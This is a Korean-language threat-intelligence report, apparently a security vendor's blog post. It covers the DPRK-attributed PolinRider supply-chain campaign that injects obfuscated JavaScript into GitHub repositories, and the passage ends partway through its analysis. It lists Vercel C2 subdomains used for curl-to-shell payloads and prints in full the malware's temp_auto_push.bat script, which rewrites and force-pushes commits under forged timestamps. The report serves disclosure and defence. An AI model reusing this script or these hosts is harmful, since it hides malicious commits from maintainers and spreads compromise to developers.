
북한과 연계된 PolinRider 공급망 공격에 대한 기술 문서로, 난독화된 JS 페이로드 삽입, git 히스토리 조작, C2 인프라, 그리고 1,951개의 손상된 저장소에 대한 수정 지침을 문서화합니다.

OpenSourceMalware 팀은 GitHub 사용자 및 조직의 리포지토리에 멀웨어를 주입하는 대규모 위협 캠페인을 발견했습니다. 위협 행위자 PolinRider는 난독화된 악성 JavaScript 페이로드를 수백 개의 공개 GitHub 리포지토리(수백 명의 고유 소유자 소유)에 주입했습니다. #polinrider 태그를 사용하면 이 캠페인과 관련된 모든 위협 보고서를 확인할 수 있으며, 이 블로그 하단(손상된 리포지토리)에서 손상된 리포지토리 목록(즉시 조치를 권장하는 항목 포함)을 확인하세요. 태그가 최신 데이터를 얻는 가장 좋은 방법임을 명심하세요.
JavaScript 페이로드는 실제 프로젝트 구성 파일 끝에 — 파일의 정당한 콘텐츠 뒤에 조용히 추가되어 — 일상적인 코드 검토 시 놓치기 쉽습니다. 주요 감염 벡터는 설치 또는 빌드 중에 실행되어 프로젝트 루트의 구성 파일에 자신을 주입하는 손상된 npm 패키지로 보입니다. 더 나쁜 점은, 이 위협 행위자가 동일한 기술을 사용하여 악성 NPM 패키지도 제작했다는 것입니다.
이 공격은 엄청난 성공을 거두었으며, 손상된 오픈 소스 프로젝트인 Neutralinojs는 수백 명의 사용자와 기여자에게 멀웨어를 확산시켰습니다. Neutralinojs는 8400개의 별, 495개의 포크, 수십 명의 활성 기여자를 보유한 매우 인기 있는 프로젝트입니다. 이것이 이러한 유형의 공격의 힘입니다. 위협이 초기 GitHub 리포지토리에만 국한되지 않고 해당 오픈 소스를 사용하는 다른 모든 프로젝트로 확장되기 때문입니다.
OpenSourceMalware 팀은 이 캠페인을 북한(DPRK)의 소행으로 귀속시켰으며, 위협 행위자 PolinRider는 "Contagious Interview" 및 "TasksJacker" 캠페인과 관련된 알려진 Lazarus 그룹 기여자입니다.
이 캠페인은 최초 게시 이후 극적으로 성장했습니다. 2026-04-11 기준 OSM 팀은 1,047명의 고유 소유자 소유의 1,951개의 공개 GitHub 리포지토리가 손상되었음을 확인했습니다. 이는 최초 게시일 이후 5주 만에 2.9배 증가한 수치입니다(3월 8일: 675개 리포지토리 / 352명 소유자).
| 지표 | 3월 8일 (초기) | 4월 11일 (최신) | 변화 |
|---|---|---|---|
| 감염된 고유 리포지토리 | 675 | 1,951 | +1,276 |
| 영향을 받은 고유 소유자 | 352 | 1,047 | +695 |
| — 개인 사용자 | 305 | ~930 | +625 |
| — 조직 | 47 | ~117 | +70 |
| 관찰된 고유 난독화 변종 | 1 (rmcej%otb%) | 2 (rmcej%otb% + Cot%3t=shtP) | +1 |
| 확인된 고유 주입 벡터 | 1 (구성 파일) | 4 (구성 파일, .vscode/tasks.json, 가짜 .woff2 글꼴, 악성 npm 종속성) | +3 |
| 문서화된 고유 C2 하위 도메인 | 1 (260120.vercel.app) | 6+ (C2 인프라 참조) | +5 |
| 알려진 무기화된 숙제 템플릿 | 0 | 2+ (ShoeVista, StakingGame) | +2 |

2026-04-10에 시작되어 2026-04-11까지 이어진 후속 헌트에서 OSM 팀은 몇 가지 주요 발견을 했습니다.
캠페인이 5주 만에 두 배 이상 증가했습니다. GitHub 코드 검색 및 Sourcegraph를 통한 교차 엔진 열거(아래 방법론 참조, API의 1000개 결과 제한을 넘어 정제)로 첫날 v3 마스터에서 1,556개의 고유 손상 리포지토리가 발견되었습니다. 둘째 날의 2차 헌트에서는 npm 패키지 이름 피벗, VS Code tasks.json / 클라우드 제공자 피벗, 새로 발견된 default-configuration.vercel.app C2 하위 도메인을 통해 215개의 새로운 리포지토리가 추가되었습니다. 기존 affected_repos.csv 코퍼스와 중복 제거 후, 실제 알려진 범위는 현재 1,951개의 고유 피해자 리포지토리 / 1,047명의 고유 소유자입니다.
새로운 변종이 관찰되었습니다. PolinRider는 아키텍처를 유지하면서 난독화 도구의 모든 고유 지문을 교체했습니다. 새 변종은 시그니처 마커 Cot%3t=shtP(이전 rmcej%otb%), 셔플 시드 1111436(이전 2857687), 보조 시드 3896884(이전 2667686), 디코더 함수 이름 MDy(이전 _$_1e42)를 사용합니다. 이 교체는 게시된 rmcej_otb_payload YARA 규칙에 대한 회피 대응으로 보입니다. 현재 두 변종 모두 야생에서 활성 상태입니다. 아래 새 변종: Cot%3t=shtP를 참조하세요.
위협 행위자가 이전 피해자를 재감염시키고 있습니다. 최소 한 개의 피해자 리포지토리(HassanHabibTahir/testclient)에는 다른 파일에 두 가지 변종의 마커가 포함되어 있어, 행위자의 도구가 이전에 손상된 호스트에 대해 재실행되어 새 난독화 도구를 주입하고 있음을 나타냅니다.
PolinRider와 TasksJacker가 운영상 합병되었습니다. 이제 동일한 위협 행위자가 동일한 피해자 집단에 대해 구성 파일 주입과 .vscode/tasks.json curl-to-shell 감염 벡터를 모두 실행하고 있다는 직접적인 증거가 있습니다. temp_auto_push.bat 전파 스크립트 피해자 101명 중 22명이 악성 .vscode/tasks.json 파일을 가지고 있으며, 여러 개의 무기화된 숙제/가짜 인터뷰 템플릿 프로젝트가 식별되었습니다. 아래 무기화된 숙제 템플릿을 참조하세요. OSM은 앞으로 두 클러스터를 #polinrider로 통합합니다.
두 개의 무기화된 숙제 테스트 프로젝트 식별: ShoeVista (client/package.json에 악성 tailwindcss-style-animate ^1.1.6이 포함된 가짜 Tailwind 전자상거래 평가 과제) 및 StakingGame (tasks.json에서 UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9로 식별된 가짜 블록체인/VS Code 자동화 프로젝트). 최소 46명 + 42명의 개발자가 이 테스트를 시도하여 손상되었습니다. Contagious Interview 유인 플레이북의 일부입니다.
다섯 개의 새로운 C2 하위 도메인 발견, 모두 Vercel에서 호스팅되며 .vscode/tasks.json의 curl | bash 페이로드에서 사용됨:
default-configuration.vercel.app (가장 많이 사용됨, 약 106개 피해자 참조)vscode-settings-bootstrap.vercel.appvscode-settings-config.vercel.appvscode-bootstrapper.vercel.appvscode-load-config.vercel.app모두 패턴 https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>을 따릅니다. C2 인프라 섹션에 추가되었습니다.
OSM은 이틀간의 헌트 동안 821개의 새로운 위협 보고서를 제출하여 전체 OSM PolinRider 항목을 ~1,700개로 늘렸습니다. 821개 제출물의 변종 분류: 원본 변종 591개(rmcej%otb%), 전파 전용 113개(temp_auto_push.bat), 악성 npm 45개(ShoeVista/devhire 클러스터), tasksjacker 27개, 새 변종 1개(Cot%3t=shtP), 기타 44개.
JS 페이로드가 정리된 후에도 피해자를 찾는 새로운 고수익 검색 피벗이 식별되었습니다. 가장 강력한 것은 filename:temp_auto_push.bat (101개의 악성 확인 결과, 100% 진양성률) 및 "default-configuration.vercel.app" (106개 일치)입니다. 44개의 무작위 확인에서 표본 위양성률은 0%였습니다. 아래 정제 방법론을 참조하세요.
새로운 주입 벡터 확인: 최소 한 명의 피해자(AgbaD/odoo)가 Node를 통해 실행되는 .woff2 글꼴 파일(public/fonts/fa-solid-400.woff2)에 난독화된 JS 페이로드를 숨기고 있었습니다. 이는 캠페인이 동일한 대상에 대해 여러 주입 벡터를 사용함을 확인합니다.
세 번째 난독화 변종은 발견되지 않음. global['?'] 마커, 시드 조합, 구조적 패턴, IOC 리터럴, 연속적인 '8-stN' 태그 1–200(Sourcegraph 정규식 사용)에 대한 철저한 탐색 결과, 이미 문서화된 두 변종 외에 세 번째 변종의 증거는 발견되지 않았습니다. 행위자의 새 변종 배치는 8-st1..8-st59로 한정됩니다(21개의 연속 번호가 Sourcegraph 인덱스에서 누락됨).
전체 v3 + 2차 헌트 보고서 및 마스터 TSV는 reports/에 있습니다.
위협 행위자는 도난된 GitHub 자격 증명을 사용하지 않습니다. 대신 피해자는 악성 VS Code 확장 프로그램이나 NPM 패키지를 통해 손상되었습니다. 이 초기 벡터가 무엇인지는 아직 모르지만, 포렌식 증거를 통해 그 기능은 알고 있습니다.
가장 먼저 발생하는 것은 멀웨어가 로컬 컴퓨터에서 특정 파일을 검색하는 검색 함수를 실행한다는 것입니다. 예:
이러한 파일 중 하나를 찾으면 해당 파일 끝에 심하게 난독화된 악성 JavaScript 코드를 추가합니다. 다음으로, 멀웨어는 temp_auto_push.bat라는 Windows 배치 파일을 설치합니다. 이 파일이 존재하고 어떤 기능을 하는지 연구자들이 검색할 수 있는 지문을 제공하기 때문에 위협 행위자가 수백 대의 손상된 서버에 이 파일을 남겨두었습니다. 배치 파일의 전체 내용은 다음과 같습니다.``` @echo off for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% echo %LAST_COMMIT_TEXT% echo %USER_NAME% (%USER_EMAIL%) echo Branch: %CURRENT_BRANCH% set CURRENT_DATE=%date% set CURRENT_TIME=%time% date %LAST_COMMIT_DATE% time %LAST_COMMIT_TIME% echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% git config --local user.name %USER_NAME% git config --local user.email %USER_EMAIL% git add . git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify date %CURRENT_DATE% time %CURRENT_TIME% echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit! git push -uf origin %CURRENT_BRANCH% --no-verify @echo on
### 배치 파일 분석
이 배치 파일은 **가장 최근 git 커밋을 원래 타임스탬프를 유지하면서 다시 작성합니다** — 수정된 커밋이 전혀 건드리지 않은 것처럼 보이게 합니다.
#### 1단계: 마지막 커밋 메타데이터 추출
`git log -1`을 다섯 번 실행하여 마지막 커밋의 세부 정보를 환경 변수로 가져옵니다:
| 변수 | 캡처된 값 |
|---|---|
| `LAST_COMMIT_DATE` | 마지막 커밋 날짜 (YYYY-MM-DD) |
| `LAST_COMMIT_TIME` | 마지막 커밋 시간 (HH:MM:SS) |
| `LAST_COMMIT_TEXT` | 커밋 메시지 |
| `USER_NAME` | 작성자 이름 |
| `USER_EMAIL` | 작성자 이메일 |
| `CURRENT_BRANCH` | 현재 브랜치 이름 |
#### 2단계: 추출된 정보 표시
해당 값을 콘솔에 출력하여 진행하기 전에 캡처된 내용을 확인할 수 있습니다.
#### 3단계: 타임스탬프 트릭 (핵심 조작)